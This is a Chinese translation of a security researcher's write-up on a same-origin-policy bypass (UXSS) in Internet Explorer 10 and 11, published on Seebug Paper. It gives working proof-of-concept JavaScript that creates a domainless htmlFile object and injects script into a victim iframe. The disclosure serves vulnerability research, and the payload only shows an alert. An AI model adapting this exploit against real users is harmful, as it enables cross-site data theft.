原文:SOP bypass/ UXSS on IE – More Adventures in a Domainless World
原作者:Manuel Caballero
譯:Holic (知道創宇404安全實驗室)

幾個月前我們研究過 Edge 瀏覽器上的無域的about:blank頁面問題。強大的 about:blank document 基本上能夠無限制訪問任何域。該漏洞近期得以修復(CVE-2017-0002)。因此現在它已不再生效。同樣的事情發生在了ActiveXObject/htmlFile (現在的 htmlFile) 上,?上周也被修復了(對應CVE-2017-0154)。

注:分別對應譯文《 UXSS on Microsoft Edge – Adventures in a Domainless World 》和《SOP bypass / UXSS on IE11 htmlFile

如果你沒見過這兩個實現 UXSS/SOP 繞過的方法,現在就去看看吧,因為接下來的內容需要前文的知識。感謝 bug 獵手!

我們今天的目標是將原來的 Edge 漏洞移植到 Internet Explorer 上來。這應該挺輕松的,考慮微軟對IE 漏洞并不上心。我們先看看這兩個漏洞的狀態:

在 IE 上創建無域的 about:blank

在原漏洞上,我們使用 data:url 創建無域的空白頁面,那么我們怎樣在 IE 上實現這點呢?htmlFile 再次立功。因為補丁不允許我們設置任意域,但我們仍可以設置為空白,或者無域的。

要創建無域的 htmlFile ,我們首先需要一個已經被銷毀的document,換句話說,該 document 已經不存在。那么如何無中生有呢?對 Neil deGrasse Tyson 來說這是個更深入的問題,不過我會盡量解答。?

這個想法實際上很簡單。我們只需要確保下述內容按順序發生即可。

  1. 保存對 iframe 的 ActiveXObject 的引用。
  2. 至少實例化一次 htmlFile(IE 因此不會銷毀它)
  3. 阻塞 iframe 線程(IE 沒有機會銷毀我們的應用)
  4. 銷毀iframe 的 document(使用 document.open)
  5. 再次實例化 htmlFile。它現在便是無域的了。

步驟2和3非常重要。跳過步驟2將不能保存可利用的引用。跳過步驟3會讓 IE 銷毀對象。

Bug 獵手,我們之前曾見過這個阻塞線程的思路(參見那篇文章的底部),可用來發現大量漏洞。下面使用的線程阻塞技術是一個非常醒目的粗體的 alert。這樣我們不會直接給攻擊者提供工具,或者他們至少需要自己找的一個方案使這個 PoC 完全不可見。接下來請看代碼。

無域 htmlFile

// We will attack the iframe below
// <iframe name="victim_iframe" src="https://www.google.com/recaptcha/..."></iframe>

// Render an iframe (we will destroy its document later)
document.body.insertAdjacentHTML('beforeEnd','<iframe name="ifr"></iframe>');

// Save a reference to its ActiveXObject
var ifr_ActiveXObject = ifr.ActiveXObject;

// Make sure IE does not invalidate our reference
new ifr_ActiveXObject("htmlFile"); // We don't even need save this instance

// Block the iFrame so the ActiveXObject object is never destroyed
ifr.setTimeout('alert("Do not close me until the PoC finishes, please.");');

你是否注意到了我們使用 setTimeout 來執行阻塞的 alert?這是因為我們仍然需要進行繼續處理,如果我們直接在 iframe 上 alert,它將會阻塞 UI,而不會執行接下來的內容。我們的目標是在阻塞的alert仍存在的情況下,銷毀 iframe 的內容。別忘了 alert 是會阻止 IE 銷毀 ActiveXObject 的。

現在我們將會銷毀 iframe 的 document,并創建無域的 htmlFile。如果你對 document.open 不熟悉的話,你可以認為這個 PoC 是個 document.write 。

// Destroy the iframe document
ifr.document.open();

// Instantiate a domainless htmlFile
var domainlessDoc = new ifr_ActiveXObject("htmlFile");

太棒了,此時我們有了無域的 htmlFile。現在需要用 iframe 加載我們想要訪問的 URL 了,bingo!有關細節將在 original adventures in a domainless world 一文中有所體現(注:可參考paper的譯文)。但實際上,我們正在用 iframe 加載任何站點,然后將其更改至 about:blank (屬于 iframe 域)。然后,我們可以從無域的 htmlFile 自由地訪問這個空白頁面(繞過 SOP)。

// Inject the code in victim's inner iframe
domainlessDoc.parentWindow.setTimeout("victim_iframe[0].location = 'javascript:alert(parent.document.domain);'");

想看實際演示嗎?本例可以在 IE10 和 IE11 上直接使用,但只需一點點調整它就應該能在 IE6 到 IE11 上用了。當然這里不會做相應調整,但如果你感興趣的話,可以告訴我。

[ Check out the PoC Live on IE10 or IE11 ]

Bug 獵手,我還要提醒你一下,htmlFile 仍有很多東西要探索。我相信它值得花一次雨天午后的時間深入研究!

以我之見,修復所有 htmlFile 相關 bug 的最好方案就是完全禁用來自iexplorer.exe 的實例化。很不幸,我沒有足夠的大局觀,但可以猜到它存活至今必有其因。老實說,我不知道世界上開發者會怎么修復它。一旦這個對象被實例化,有太多的東西會超出 IE 的認知。

// If this code returns ACCESS_DENIED attackers will lose an amazing weapon
new ActiveXObject("htmlFile");  // Do not allow this anymore!

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/254/